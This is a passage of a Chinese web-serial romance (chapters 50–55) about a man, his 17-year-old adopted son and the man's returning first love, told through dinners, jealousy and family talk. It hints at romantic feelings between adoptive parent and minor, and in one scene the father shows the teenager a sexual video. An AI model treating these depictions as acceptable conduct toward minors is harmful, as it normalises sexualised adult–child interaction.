当他心事重重地回家后,叶修明正在阳台晾晒衣物,他右臂的石膏限制了他大范围的摆动,看起来左支右绌,非常可爱,苏廷探了半天叶修明的眼底,却都让这小子精准又无意地躲过去了。 苏廷捏正了叶修明的脸颊,说:“今天有什么新鲜事吗?” 叶修明从起床开始,就在听裴安打电话念叨,耳膜都快吹烂了,于是实话实话:“裴安给我打了一天电话。” 苏廷抬起的肩臂顿时一滞,许久才端方道:“他找你有什么事。” “他找我一般只有两件事,这件事,和那件事。”叶修明也满脑门子官司,回国这短短几天,裴安像是臭黏虫一样,让他一点独立的空间都没有。 “哦,”苏廷意味深长地发出一声长音:“他喜欢你。” 叶修明一开始还没想到苏廷那里去,勇者无畏地说:“怪我太招人喜欢。” 苏廷不作声了,专心收着衣服。他跟叶修明的衣服都是深色居多,混洗也是这么多年的习惯,只是……不知道为什么,苏廷突然不想跟叶修明一起混洗了。 “修明,下次我的衣服我自己洗。” 叶修明看出苏廷在闹脾气了,拉通上下文,也知道是裴安不设限导致的,叶修明眼观鼻鼻观心地看着苏廷:“我没事不接他电话了,好不好。” 苏廷高昂着头,“我可从来都不干涉你的私生活。” 叶修明心说是,你是不干涉,但小脸垮得比谁都快,难得的是,叶修明也喜欢苏廷对自己的占有欲。 “你呢,小爸,今天发生了什么?” 苏廷从没想过在叶修明面前藏着掖着,大方分享道:“我今天看到自己的初恋了,就是那个传我照片的人。” 叶修明多年的疑问终于呼之欲出,在此契机下成为不可忽视的存在。 “你是被逼的,还是自愿的。” 苏廷:“你说拍照片吗?” 叶修明“嗯”了一声。 “当然是自愿了,我长这么大,还没人逼我干过什么事情。” 所以,苏廷是真的在享受了。 叶修明竭力使大脑中不好的画面摒除出去,可惜无功而返,苏廷那些时而魅魔,时而艳色的画面再度充斥着他,让叶修明的双目失神,几乎都不能好好思考了。 他现在17岁,对那些照片的理解感悟比12岁要更清透。 叶修明突然很想见见那个曾让苏廷醉心梦死的人,他一别几年,头发谢顶没有,是否还值得苏廷怀念。 “小爸,没事把他带回来吃饭呗,正好我想看看他。” 苏廷有些受惊:“你看他干什么?” “我要看看到底是什么人,竟然敢放着我小爸不要。” 苏廷哑声说:“也许我根本不值得别人要呢。” “值不值得,你们说了都不算,我才是裁判员。” 苏廷被逗乐了。 顾见清到苏廷家的时候,带了瓶苏廷最爱的起泡酒,还有给叶修明的不羁男香,他解释道:“像你这么大的孩子,早就什么都玩够了,那就送你一瓶香水,预祝你提前步入成年。” “我可以用我小爸的,反正我俩都是你我不分的。”叶修明接过礼物就放在了入门的沙发上,他左臂抱着右手的石膏,做出戒备之姿,说:“你叫……顾……顾什么来着?” “顾见清。” “那……那个见……叔叔,要不要过来我教你处理海鱼啊。”叶修明将顾见清往厨房引,后者又像是毫无防备的。所以当叶修明准备好的鱼鳔全部甩到顾见清的身上时,顾见清竟然乐了。 “叶修明,我听过你的事迹,我认为你还可以更不顾一切一点。” 第50章 顾见清全身已被鱼鳔的腥臊占满,黑色毛衫还挂着两个,苏廷和叶修明都没有吃新鲜鱼肚的习惯,之所以弄来这么多鱼鳔,纯粹是为了给顾见清一个教训。 苏廷看到这一幕,也没拦着,生命里曾短暂拥有过的那个人,一旦给过自己致命打击,管他是有心还是无意,都值得叶修明发这一次疯。 但他怕叶修明因为生气伤了元气,冲他轻咳一声后,叶修明就听话地走到苏廷面前,苏廷说:“我怎么觉得把他叫过来是个错误。” “你心疼他?”叶修明问。 苏廷遥遥看着顾见清整理衣物的、耐心的样子,目光灼热且笃定地对叶修明说:“我心疼你。” 叶修明心下少了那么多忌讳,在得到苏廷默许后,对顾见清发出更强烈的攻击。他先是“不小心”在布菜时弄撒了鱼汤,顾见清的衣袖便湿了大半,只见他不慌不乱地拿起纸巾慢慢擦拭,好像那胳膊并不属于他一样。 再后来,事情的局面朝着更为失控的方向运行,顾见清的裤子上又洒了些芝士和黄油,身上呈现出复合型的味道。将这一切都看在眼里的苏廷突然说:“修明,说了让佣人做这些事,你非不听。” 叶修明笑得含蓄,给佣人打了个响指,“那我就交给曲姨了。” 事已至此,眼内多么浑浊的人都看出来这是叶修明的劝退模式,巴不得顾见清早早地从他们家滚蛋,可顾见清这么多年锻就出了一身真本事,早就不是一般人,现在的场面只能算是开胃菜,对他来说远远算不上正餐。 说实话,他觉得叶修明没拿酒把他烧了已经算手下留情。 所以他这么不顾一切地、不顾颜面地待在这里,究竟是为了什么? 苏廷的脸上划过一丝不易察觉的阴鹜,敲了敲桌板,“我这杯酒,是要敬命运,不管它是因为好的念头,还是不好的念头,总之把我们又带到了一起,修明,给顾见清倒酒。” 叶修明看了看手上的黑标红酒,觉得灌顾见清有点可惜了,可他依言做了,酒杯微一碰桌子后,一饮而尽。 顾见清也想说句祝酒词,被苏廷比了个手势,拦了下来。苏廷用上酒桌上他最不忿的那一套,非要自己再提几杯,封住他的嘴才行。所以说:“这第二杯酒,就敬青春吧,青春对我们来说不算个好词,可对修明来说,才刚刚开始,修明,你千万不要像有些人那样,以青春的无知当作幌子,再用无知的情感蛊惑他人。” 这样拗口的语言逻辑,聪明如顾见清,一定能参透其中的本真,于是他这杯咽得也算牵强,整张脸都有点挂不住相。 苏廷把第三杯的机会让给了叶修明,想看看他在这种适合杀人诛心的场合能说出什么话来。没想到叶修明是个喜欢打直球的人,上来就说:“这杯酒,我要谢谢见叔叔没有继续祸害我小爸,虽然你那点本事,也没伤害他多少。” 苏廷赞许地看了他一眼,转向顾见清:“我的厨艺怎么样?” “确实比我在英国吃得要好得多。”顾见清诚挚地说:“苏廷,看到你过得好,我很开心,比我自己过得好还让人心安。” 叶修明“切”了一声。”1月21号那天我喝了一夜的酒,不知道为什么我们两个就变成了这样,我还记得那家校门口的烧烤店,你总是拉着我在里面喝很多酒,说很多话,虽然这句话有点俗套,但是如果时间能够重来,我希望你跟我能够永远停留在那一刻。” 叶修明的身形明显地一滞,他想到小时候苏廷带回来的那顿烧烤,就是从校门口拿回来的。 苏廷那时应该还被困在噩梦里。 现在呢? 毕竟顾见清是唯一给过他这些情绪的人。 叶修明的心内有些郁结地走到厨房,在佣人的帮助下取出烤箱内的甜点,那是酸甜口的苹果派,外表酥脆,需要等它微微冷却才能切开,以保持酥皮的完整。 叶修明甚至把那层酥皮的完整类比苏廷心的完整。 所以他就干站在厨房等苹果派冷却下来。 余光却不停在餐桌上停留,想看看他们之间还存不存在涌动的情愫。 但苏廷是隐藏情绪的高手,顾见清跟苏廷也不相上下,单从面上看,大家都在极力克制着某种思绪,还有那些拼凑起来的回忆,终究能不能敌得过时间。 顾见清突然道:“再跟你见这一面,我也不知道到底是不是错误。但我想澄清的是,当我答应陆沉的要求后,他就不再散播那些照片了。” 潜台词就是他顾见清牺牲了自己,换取了现在的平静。 所以苏廷反倒欠他一句谢谢了。 苏廷不置可否地一笑,视线遥遥荡荡地漂浮到叶修明的位置。 他似乎招架不住了。 距离亲手把鱼汤泼在他身上也不过寥寥数语。 叶修明似乎感应到了苏廷茫然无措的样子,用钝刀三下五除二地就切了几下,千万不要说美观了,就连能顺利夹出来都有些费劲。 他端派上桌,给苏廷和自己一次盛了一块,剩下的推给顾见清,让他自便。 苏廷故意埋怨:“修明,你的礼貌呢。” “施方逸没把我教好,怪谁。”叶修明叉起那外酥里嫩的苹果派,一边吃一边虎视眈眈地盯着顾见清。 “见叔叔,你的那位陆沉叔叔,怎么不一起过来赔罪。” 叶修明“叔叔”长,“叔叔”短,生怕顾见清忘了他当臭虫的年份。 顾见清低低地笑了一声,“造化弄人,惯使心机的,最终也会埋于心机。他当初拿着苏廷的钱去挥霍,被那些老外盯上了,拉到没人的地方暴打了一顿,钱也不知所踪,最后陆沉人不人鬼不鬼的,算是废了。” 他继续道:“我为了照顾他,把高薪的工作也辞掉了,就这样坐吃山空,硬熬了几年。” 叶修明:“那他人呢?” “那件事情之后他的心病很重,很早就生活不能自理,这五年很快就灯尽油枯,最后……死了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 空气骤然凝固。 顾见清所述的这段过往,平静无波,似乎是顿家常便饭,却包含着巨大的信息量。 那个曾经想置苏廷于死地的人先他一步走了。 当敌人先倒下的时候,他该由衷地雀跃一次。 可是一团硬物仿佛堵在苏廷的心口,让他喘不上气—— 原来,顾见清还是那么善良,即使是那么令人如鲠在喉的存在,他也会照料他到生命的最后一刻。 没想到叶修明没吃这套,说:“所以你记住这次教训了吗?坏人是会有恶报的。” 苏廷闷声说:“修明,你先回房间。” 叶修明不理解地看着他:“你不会心软了吧。” 苏廷惨笑一声:“没事,修明,等下我再叫你。” 叶修明讪讪而动,走之前还不忘带着自己的那块苹果派。他喜肉,喜甜食,天塌了也得把该吃的送嘴里再说。 他人虽回了房间,耳朵却支在门口,小爸嘟嘟囔囔的,在那跟他废什么话呢! 心火本就旺盛的叶修明,此时那股子恶气就要上天了。 苏廷闪着端丽的黑眸,对顾见清说:“这些年你也吃尽了苦头。” 顾见清:“跟你比起来,我还过得去。” “那个陆沉,他有那么大的能量拴住你吗。” 顾见清昏昏沉沉的说:“这些年,不过是互相折磨罢了。” “所以他是你阁楼上的疯男人。”苏廷转了转杯口,假装不介意地问道。 “我对他,就像是你对我一样,终究是爱而不得。” 顾见清说着说着眼睫就湿了,他是温文英俊的长相,乍然哭上这一次,有种他不该经这百千万劫的错觉。 苏廷说:“你把他葬在了哪里。” “遵着他的遗愿,骨灰洒在了他的老家江城。” 奇怪的是,苏廷竟和自己的敌人同频共振了,他似乎正躺在江城的众多湖泊里,仰望着那片生养之地。 “我再问你一个问题,顾见清,你要如实回答我。” 顾见清与陆沉是在一次拍卖会上相识的,那时顾见清跟苏廷的感情是最好的时候,可陆沉不撞南墙不回头,数次追到了顾见清的家门口,活像个变态。 苏廷看出陆沉的偏执,曾让顾见清报警处理,可他心软到根本拨不出那个号码,最终酿成一地狼藉。 “你后悔过吗,没有从一开始就让陆沉死了那条心。” 顾见清用颤抖却平和的语调说:“过去的事,我都不后悔。” 倘若顾见清此时用一声“后悔”就想了却前尘,一笔勾销过往,苏廷一定小瞧了他。可顾见清却保持着那份令自己狂烈热爱的品质,虽不知今夕是何夕,但苏廷知道,那件事在他心里已经过去了。 “我们还是喝酒吧。”苏廷说,“我不常开黑标,你算特殊的了。” 顾见清的手机震动了一下,他没看,就放在一边,用酒杯快速醒着酒,对苏廷莞尔一笑:“其实我这些年的酒量下滑了不少,可能陪不了你很久。” 苏廷的酒胃人人皆知,似乎总也灌不满,能招架住几轮就算不世英豪,更何况有勇气陪到底的。 苏廷一语双关:“你以前也没有陪我很久。” 恰在此时,从叶修明的房间刮出一阵朔风,连客厅新买的孔雀木都跟着抖动,说时迟那时快,叶修明倏地就来到桌前,兀自将醒酒器里的红酒倒入杯中,坐在两人之间,想用实际行动告诉苏廷,他能陪很久。 十七岁的身体本就忍耐度要高,更何况是经常泡在酒精里的叶修明,苏廷不打算背上怂恿未成年喝酒的罪名,面无表情地收了他的酒杯。 “凭什么他能喝我就不能喝?” 苏廷:“你长大了吗?” “我长没长大,你看不出来?”叶修明猖狂地说。 顾见清连忙起身,说:“我就不打扰你们了。” 说完,他就给苏廷一个依依不舍的眼神,匆匆离开。 叶修明吐槽:“瞧他那一身的鱼腥味。” 糅杂了一夜的情绪此时都化为苏廷的无声,他默默地收拾桌子,再默默地关上房门。 叶修明站在他门口,不解气地说:“顾见清就是来表演苦肉计的,真实想法到底是什么你我都猜不到。” 苏廷没有说话。 “像他这种人,做了那些事,还能有脸回来,本身就证明了心术不正,小爸,你千万不要上当受骗。” 叶修明说得越是言辞恳切,苏廷就越是沉默。 终于,叶修明坐不住了,他道:“你该不会真的信了他的鬼话吧。” “那么明显有漏洞的话,你不应该啊。” 叶修明其实也说不出顾见清到底哪里前后矛盾,或者不合逻辑,但他就是不想相信。 苏廷这才缓缓发声:“修明,我累了,可以让我休息吗。” 叶修明想直接闯进去,把苏廷的脑袋晃一晃,看他究竟在想什么。 “小爸,我让你对敌人多一分同情,绝不是对顾见清!” 苏廷终于忍不住了,拉开房门,脸色煞白,“修明,我知道你什么意思,我会注意的。” 叶修明能听到自己心里的石头稳稳落地的声音,不可置信地问:“真的?” “真的,我已经不是二十几岁的时候,不需要别人再为我操心了。” 苏廷苦笑着关了门,他也确实不需要叶修明这么小的屁孩为他操心。 转天过去,风平浪静,金城又下了场大雪,据说河面又结冰了。 裴安从屋外带来冷飕飕的空气,一进叶修明家就脱下羽绒服,从冰箱熟门熟路地找出一瓶气泡水,坐客厅喝了起来。 “啊——这才叫人生。” 叶修明带着明显的黑眼圈,似乎没睡好,他单脚踹了下裴安的膝盖,“往那边挪点。” “说吧,找我来什么事。”裴安道。 “我小爸的初恋回来了,就是他当初传播的那些照片。”叶修明直接道。 裴安以为自己听岔了,“他还有脸回来?” “嗯,不仅回来,还跟我们一起吃饭、聊天,像是从来没发生过这些事情一样。”叶修明说,“可我有点难受。” 第52章 “难受什么?”裴安勾着自己的领子扇风,屋内的暖气似乎太大了。 叶修明声音清越,轻轻道:“我不想看到那个人跟小爸在一起。” “苏叔叔那么聪明的人,会分清厉害的,就算在一起吃饭,也不可能再有任何故事,那人伤他多深啊。”裴安说。 叶修明:“说不准,他们后来看起来挺祥和的,似乎有……再续前缘的打算。” “为什么?他不是害得你小爸很惨吗?”裴安猝然道。 “其实另有其人,”叶修明说,“据那个叫顾见清的人说,是他的狂热追求者散布的照片,我小爸信了。” 裴安的身体向前倾斜:“那你信不信。” “我信不信已经不重要了,重要的是小爸跟他的眼里都有遗憾,有遗憾就会弥补这些遗憾,你不懂,看了才会明白。” 叶修明暗中揪起了那分比语言分量更重的紧张,身体也在苦涩的微颤中。 “如果真像那人说的那样,他没有做错任何事情的话,苏叔叔跟他喜欢的人在一起也没什么不好,你应该高兴才对。” 裴安倒是想得豁达,这份豁达也成为浇在叶修明心头火上的汽油,让他寸土不生的心又开始有燎原之势。 不行,心底的声音在说。 “可我就是不开心,不高兴,还想做出点什么拆散他们。” 叶修明此时已经在烦躁间扯开了几颗衬衣扣子,露出年轻的肌肤与笔直的颈线,几滴汗珠沿着青筋滑进锁骨凹槽。 脸上的血色好像涓滴不剩。 “修明,你不会真对你养父有不切实际的想法吧。” 这一声如同响锣,把叶修明震沉默了。 他从没想过这个问题,即使少年春心初动时曾做过小爸的梦,他也没往这方面想过。 之所以叫不切实际,是因为被礼法不容,让世俗厌唾,会让他们五年的养父子关系成为世人皆知的笑话,也会让苏廷再次为人所嗤笑。 他不会做出如此天理不容的事情。 “我不知道,只知道如果苏廷跟顾见清说什么也要在一起的话,我会疯的。” “可你……为什么会疯?苏小爸找到真爱,对他来说是好事,你不这么认为吗?难道你想让他陪你一辈子?” 裴安觉得他对叶修明的认识还是短浅了,这么大逆不道的话,他最好没说过。 “我想让他陪我一辈子又有什么错?他是我的养父,从法律上来讲,我们到死都要在一起。” 裴安的天灵盖突然透风了。 “你瞧瞧,说的这叫人话吗。” 不知不觉间,苏廷已经提前回家,裴安与叶修明说的都是关于苏廷的话题,自然耳热,裴安都没给苏廷打招呼,灰溜溜地就拉着叶修明回到他房间,还把房门反锁了。 苏廷微微皱了下眉头,心中寂然升起一阵浓郁的不安。 他不想吵到两人的悄悄话,给叶修明发去消息。 ——你想吃什么? 叶修明的手机不在身上,怔怔地坐在飘窗上看金城旷达的风景,许久都未回。 裴安在他的眼前打了个响指,说:“你的心事根本存不住,说吧,你想怎么拆散他们?” 叶修明懒懒地说:“我还没想好。” “你就是见不得苏小爸好。” “我不想他被欺骗。” 裴安:“他也没有做出实质性的动作吧,是骗钱,还是骗感情了。” 叶修明斜睨着他,“真到那一步,我先宰了你。” “叶修明!你个没良心的!我这辈子也没对谁好过,就为了你一个人干这个干那个,你竟然想宰我!” 说着说着,裴安就冲过去对叶修明上下其手,手掐把拿地揪住他的头发,“我让你乱说话。” 叶修明:“嘶——你轻点!” 苏廷见叶修明这么长时间不给反应,挣扎着到了他房间大门,手指微卷,刚要轻叩下去的时候,就听见里面发出类似于打斗的声音,只不过相较于打架的激烈,这个更温柔,也更像调情,尤其是叶修明不止一次说了“你轻点”。 状况外的苏廷进也不是,退也不是,就这么木呆呆地听了半天墙角,最终发现,叶修明可能确实是在跟裴安做出些……不好描述的事情。 至于是什么,他三十几年成熟的人生体验告诉他,正是些血气方刚的年纪该做的事情。 苏廷的眸子瞬间转黑,退到更为安全的距离,一个人去厨房打发时间了。 他把家里的食材全部放在显眼的位置,处理完青菜就处理红肉,中式小炒他心得不多,所以大部分都是随意拼凑的,起锅端出来的时候卖相也不好看,佣人都捂嘴笑了半天。 修明能找到那方面的“朋友”,他作为养父,到底该有什么反应呢? 他本人就是同性恋,面对养子对同性的喜好是应该更豁达一点,还是更加地斤斤计较呢? 如果他想计较的话,裴安……应该把他赶出去吗? 不得不说,苏廷现下有些心烦意乱,比叶修明多出十六年的人生体验本应让他处理这些事情的时候游刃有余,为何他却自乱阵脚呢? “修明……”苏廷没意识到他是在口中喃喃,而非大声喊出来,在叶修明毫无反应后,苏廷有些生气了。 “叶修明!” 苏廷抬高音量,“该吃饭了。” 裴安还在抓着叶修明的头发不放,“你个小畜生,从小就是小畜生。” 他粗喘着气,突然就静下心来,决意定睛好好看看叶修明。 叶修明从小就冥顽不灵,家庭成分复杂,他裴安家世显赫,不缺朋友,却还是义无反顾地选择同他当了朋友。 及至今天,裴安那些零零散散的朋友全都下了车,独留叶修明一人,即使横跨一整个太平洋,也要每天互打电话,叶修明似乎从来都没有离开过一样。 若论感情,他们才是最深的。 所以他刚刚上手蹂躏叶修明,真的不是因为叶修明无论如何也要强调他跟苏廷的关系吗。 死也要在一起。 笑话。 “叶修明,你死了这条心吧,你就算跟我死在一起,也不可能跟你养父。” 叶修明看傻子似的盯着裴安,“你又在发什么疯。” 第53章 裴安知道是自己话说得过激了,也害怕他们之间的友情受到玷污,及时撤回了这句没轻没重的话,说:“我随便说说的,你别放在心上。” 叶修明定定地看着他,弹了他一脑门,“没发疯就好,不然我带你去治治。” “叶修明!” 苏廷第二次叫他。 叶修明这才闻到厨房传来的难以言喻的味道,拍了下裴安的脑袋:“走了,小爸留你吃饭。” 裴安:“好啊,好久没尝过苏小爸的手艺了。” 他们一出来,苏廷端菜的手便滞了滞—— 叶修明的头发乱糟糟的,像是从哪滚了一圈回来。 看起来挺闹心的。 “修明,”苏廷像对待小孩子那样说:“带裴安去洗手。” 裴安先叶修明一步找到了洗手池,笑道:“苏叔叔,今天咱们吃什么啊。” 苏廷没理他,兀自给叶修明递了毛巾,小声说:“我是不是太放纵你们了。” 叶修明不知其深意,不明真相道:“下次你下厨我一定帮忙。” 裴安走到餐桌前,看着五花八门、胡乱排列组合的小炒露出了牙疼的表情,他拽了拽叶修明,附耳道:“这真的能吃吗?” 叶修明倒是自信:“我小爸做什么都好吃。” 下一刻,他就被自己深深地打脸,苏廷这次下厨不仅不在水准,还远远低于一个正常儿童的水平,让叶修明都吃得犯了难,实在硬夸不下去。 裴安像是真饿了,也不管三七二十一,各种狼吞虎咽,他解决问题的方法也很简单,只要番茄和鸡蛋一起夹,这菜就叫番茄炒蛋,而不是青椒鸡蛋汤…… 苏廷看他这么不挑不拣,说:“看来是做了不少消耗体力的事情。” 裴安:“啊?” 叶修明笑了笑,给苏廷夹了块沾满香菜的牛肉,“小爸,我第一回吃你做的黑暗料理。” “我还能再黑暗一点,想试试吗?”苏廷睥睨道,似乎真存了不少黑暗料理界的食谱。 他话音微转:“对了,裴安,你下次比赛什么时候,在哪个国家?” “新赛季有24场比赛,下一站在迈阿密。” “这么密集的比赛,你不训练吗?” “我跟修明在一起,就是在训练。”裴安道,“对了,苏叔叔,下场比赛我想让修明跟我一起去,然后他再飞回芝加哥申请学校。” 苏廷面露不悦:“你好像都替他计划好了。” 裴安:“修明拥有超级驾照这一点,美国的好学校就已经随便让他挑了,当然,如果不申请也可以,反正我的车队早就看中修明了,到时候我们训练在一起,比赛也在一起,不正好吗。” 苏廷一秒也没犹豫:“不行。” “什么不行?” “都不行。” 裴安刚要理论两句,就让叶修明用手挡了回去,他对苏廷道:“我的去留小爸说了算。” 裴安:“你不要前程了?” “前程这种东西,不属于我这种混球,裴安,你也不是第一天认识我。” 裴安捏紧了拳头,“难道你的理想就是守着一堆信托,等着发霉发烂吗。” 叶修明:“我想守着小爸发霉发烂。” 苏廷不经意间翘起了嘴角,假装不经意地看着裴安的表情。 那简直可以用五彩斑斓来形容。 绿了红,红了又白,好看极了。 裴安没吃完这顿饭,人先走了一步,他嘴上说的是着急把车运到迈阿密,实际叶修明知道迈阿密站一切准备就绪,只等他人过去。 所以是什么让他这么着急地走,明眼人都瞧得出来。 饭吃到尾声,周叙白突然打来电话,苏廷走到窗边,按下接听键。 “一个好消息,一个坏消息,你想先听哪一个?” 苏廷蹙眉:“你不一口气说完,我立刻开了你。” “好吧,”周叙白叹气,“先说坏消息,顾见清注册在英国的公司资金链断裂,已经申请破产了。好消息是,他好像没打算真来找我们帮忙,而是向国内银行申请了大笔贷款,准备卷土重来。” 苏廷:“消息保真?” “保真,而且是内部人士告诉我的。” “这个内部人士,不会是温言玉吧。” “……”周叙白愣了一秒,“确实是他,动用了在英国的关系才查到的。” 苏廷:“……” “你知道这意味着什么吗?” 苏廷当然知道。 意味着他又欠温言玉一顿饭了。 周叙白说:“这起码说明顾见清心眼还不算太坏,没有想要走捷径的意思。而且我还听说他在国内注册了一家科技公司,体量很大,看得出来野心十足。” 苏廷:“没有‘但是’吗。” 周叙白:“没有,在这件事上,顾见清是个磊落的人。” 苏廷:“嗯。” “其他事情上我还是持保留意见,总之,日久才能见人心。” 周叙白那边刚要挂电话,就听苏廷道:“我觉得修明好像也是同性恋。” 那边出现很长时间的空档。 最后,周叙白才疑惑地试探道:“修明……咱们的叶修明?” 苏廷:“是。” 周叙白:“你确定你不是基眼看人基吗。” 如果不是同性恋,那为什么会跟裴安躲在房间里不出来,而且……这事他们五年前就干过了。 还有裴安明显想左右叶修明人生的态度,无疑也暴露了他跟叶修明的真实关系。 可是他该怎么做? 他只是养父,毕竟隔着一层,许多亲生父母能知会的道理他是没资格讲的,比如你要离那些试图带坏你的人远一点,你要无时无刻不提高警惕。 还有这些话……让苏廷讲出来,有可信度吗。 “周叙白,给你个任务,你不是很喜欢修明这孩子吗,那就派你去当他的朋友,看看他跟那个裴安到底是什么关系。” 周叙白堂堂上市公司的董事会秘书,竟然屈尊到这个份儿上,说出去不笑掉大牙?所以他说:“我还有更重要的事情,比如让你的扉合健康地运转。还有裴安那小子,他俩就是朋友,没你想得那么复杂。” “我给你几天假,如果不够就再长点,总之……帮我问出来。” 第54章 苏廷刻意的小声让周叙白听出端倪,他调侃说:“你跟儿子就在一个屋檐下,想问什么完全可以随便问。” “我不想。” 周叙白:“非要拐弯抹角的。” “我喜欢。” 周叙白说:“还有,就算修明真是同性恋,真跟裴安那小子在一起,你又能怎么办呢?你是不想让他步你的后尘,还是不喜欢裴安。” 苏廷笑道:“我这条路确实很辛苦,不想让他喜欢同性也很正常。”他调转视线,看着还在艰难啃食黑暗料理的叶修明说:“如果真是同性恋,他不该有更好的选择吗。” “人家裴安是以Alpine车队青年学院第一名的成绩从F2争取到F1席位的,这些年国内有几个这号人物?配叶修明绰绰有余吧。”周叙白苦口婆心道。 “配不配我不知道,人倒是挺烦的。” “你是不是看修明哪样都好,觉得谁都配不上啊,我说,你这是病,得治。” 这不就是穷凶极恶的老丈人吗,左一个不顺眼,又一个不感冒,谁跟叶修明在一起也算是倒霉了。 苏廷:“你先治治自己的碎嘴子。” 周叙白:“先说好,让我套话也可以,我不在的这几天要注意别乱签字。” 苏廷说了句“好”后,两人就心照不宣地结束通话。 静谧的夜里,一片沉寂,只有繁星如雨,莹莹生辉。 叶修明这顿饭吃得时间足够长,让苏廷差点误以为他被毒傻了,苏廷走到叶修明身旁,用手掌在他眼前晃了晃。 “你在发什么呆?” 叶修明在回味裴安那声疑问。 “你不会真对你养父有不切实际的想法吧。” 这个想法才上心头,就让叶修明唾弃了好一会儿,用不少苏廷今晚做的“硬菜”才能压下去。 他笑言:“小爸,我们还没好好谈谈我将来该做什么。” 苏廷抢他一步说:“不让你玩赛车,是因为太危险,我不想经历生离死别,你能理解的对吧。” “那美国的学校呢?” 苏廷沉默了须臾,背后天阴月暗,他的脸色看起来也阴晴不定,“你想回去吗。” 叶修明摸着心口想了半天,最终被那个恐怖的念头打败了—— 他不能忍受多一天的离别。 “我这人从小就因为被人抛弃,特别特别黏人,小爸,你让我回美国,还不如一枪崩了我。” 苏廷也是这么想的,他才同叶修明修复关系,回到以前那种岁月平和的状态,任何一个人的贸然离去,都是极大的痛楚。 他本来想好好抱抱叶修明的,但一想到这孩子有可能是同性恋,就自动缩退了半步,左臂撑着餐桌,右手囫囵个摸了摸他的脑袋。 叶修明表现出一副极度缺爱的样子,还不等苏廷的手撤回,就环抱住他的腰,而苏廷也没有再退缩,从叶修明回来后,他们似乎就缺少这样一个瞬间,把话说开说透,底牌全揭全露,只有这样,才能做对正常的父子。 只不过裴安到底是叶修明的谁,这件事是不是如自己所想的那样,苏廷现在并不想戳破,仿佛他们现在的关系就像泡沫,戳不得。 所以第二天当周叙白约着叶修明去“喝咖啡”的时候,心明眼亮的叶修明顿时猜出了来意,拿着杯山茶花拿铁,言笑晏晏地向前倾着身子,问:“大爸,这次他派你来是想打听什么?” 周叙白呛了口咖啡,咳了一会儿,说:“你小子什么都猜出来了。” 叶修明用拿咖啡的手向前指了指,“看见这栋写字楼没有。” “你的?”周叙白知道叶家的能耐,问道。 “不是,”叶修明拉着他走到写字楼的门厅,“我租了一层,准备像小爸一样开公司,等我锻炼出真本事,就去他那帮忙,怎么样,放心了吗。” “那你的学业呢?” “我记得我有次发烧,你给小爸说,你去外地读大学的时候,因为看不见小爸,所以觉得人生没意思极了。”叶修明说,“所以我晚个一两年申请也没什么的。” “我现在还离不开他。” 周叙白睁大了双眼,似乎听到了不得了的东西。 “你离不开的意思是指……”周叙白差点被即将脱口而出的词噎死,“哪方面?” 叶修明深感无力地看了他一眼,“反正不是你对他的那种。” 周叙白看到了机会,出口极快:“你对裴安呢,是哪种?” 叶修明没理解他什么意思,眼睑小弧度地弯起:“裴安怎么了。” “你俩……” 叶修明眼前一亮:“是小爸让你问的?” 周叙白摆了摆手:“那不是,是我自己好奇。” “哦……”叶修明沉默一瞬,“你问我的话,那就是秘密。” 眼瞅着到手的答案飞了,周叙白一百个不答应,改口道:“好了好了,是苏廷让我问的。” 叶修明郑重其事地说:“大爸,有你这么当朋友的吗。” 周叙白天都塌了,直言不讳道:“我觉得你也不用开公司试验自己的本事了,忽悠人简直一绝。” 叶修明假装很委屈地说:“所以你会告诉他吗,大爸。” 周叙白的脑仁简直飞了。 这天稍晚的时候,叶修明早早结束了跟周叙白之间的互相试探,决定去超市采买食物,再给苏廷展示自己在国外误打误撞学的厨艺。 正当他兴致高昂之时,却发现家中来了不速之客。 这个场景对他来说如同地狱修罗一样—— 顾见清正跟苏廷同看一本企划书,昏黄的灯光之下,出现有迹可循的暧昧。 苏廷似乎对这本册子异常感兴趣,连说了好几次“你继续”,而顾见清呢,是一副乐得兜售的样子,而他也是老手、高手,三言两语就能切中要害,将核心技术一一展现。 苏廷说:“按你的技术,未来似乎是不可估量的。” 顾见清看他听懂了,笑得明媚:“的确如此。” 叶修明算是看明白了,这个顾见清恐怕又有坑爹害娘的心思,与苏廷的重逢,似乎也不是为了叙旧,而是图财来的。 妈的。 第55章 全是套路。 但苏廷是摸爬滚打才上来的,有些东西即使不能说破,还能看不破吗?他这副兴致盎然的样子到底是真心,还是糊弄顾见清的。 不好说。 以叶修明对苏廷浅薄的理解,他应该手拿球棍,把他脑袋打开花才对。 或许这就是初恋的力量? 叶修明浑身不自在地咳了一嗓子。 两人闻声同时回头,苏廷的眼眸柔和得发亮,而顾见清则有点后怕地看着叶修明打着石膏的右手,说:“你的手还没好吗?这次不会又要泼我一身吧。” 叶修明心说我倒是想把马桶扣你头上。 他斜斜地看了顾见清一眼,就躲回房间享清净了。他这次姑且还是相信苏廷没被蛊惑,毕竟像上次顾见清讲的那种故事,他一分钟能编十个,苏廷又怎么会听不出有明显的漏洞呢。 没想到苏廷却走了进来,递给叶修明几盒安全套,支支吾吾了半天才说:“你如果真是同性恋的话,如果没有做好防护措施,得病的几率会比一般人要大一些。” 叶修明当时正趴在床上发呆,一听这话,再看看那些安全套,骤然抬头,很迷瞪地望着苏廷。 谁知苏廷不知从哪调出“教学”视频,指着视频里卖力的攻,一本正经道:“记得让你的伴侣像他一样替你做好准备工作,不然会很痛的。” 叶修明一片茫然地虚了虚眼。 他不知道是苏廷疯了还是自己疯了。 “小爸,周叙白给你说什么了。”一定是周叙白回去递小话说他跟裴安有一腿。 苏廷:“跟他无关,我自己猜的。”那要不然为什么喊出“轻一点”的人会是叶修明呢? 不对,叶修明的表情瞬间就不对了,他继续看着苏廷指的那位,想着苏廷嘴里说的,那不就是说他——叶修明是受吧。 滑天下之大稽! 不知出于什么心理,叶修明佯狂道:“就算我是gay,我也是上面那个,小爸你……”哪凉快哪待着去。 苏廷“啊?”了一声,似乎有点不敢置信地晃了晃脑袋,说:“怎么会这样。” “听你的口气,好像还挺失望的。” 苏廷一鼓作气道:“那你到底是不是……gay?” 叶修明坦然说:“小爸,我现在对所有选择都持开放态度,不想轻易地定义自己,喜欢男人和喜欢女人,我觉得没有本质区别,重要的是他/她是谁。” “那不行,你必须选一边,不然如果哪天等你结婚了,你突然说自己喜欢男的,那你夫人怎么办。” 苏廷煞有其事地说。 叶修明突然提醒他:“你外面还有客人。” 苏廷:“他可以等着,你不行。” 叶修明:“你是想让我给那个女人现在就开个价格?” 苏廷:“什么女人?” “夫人。” 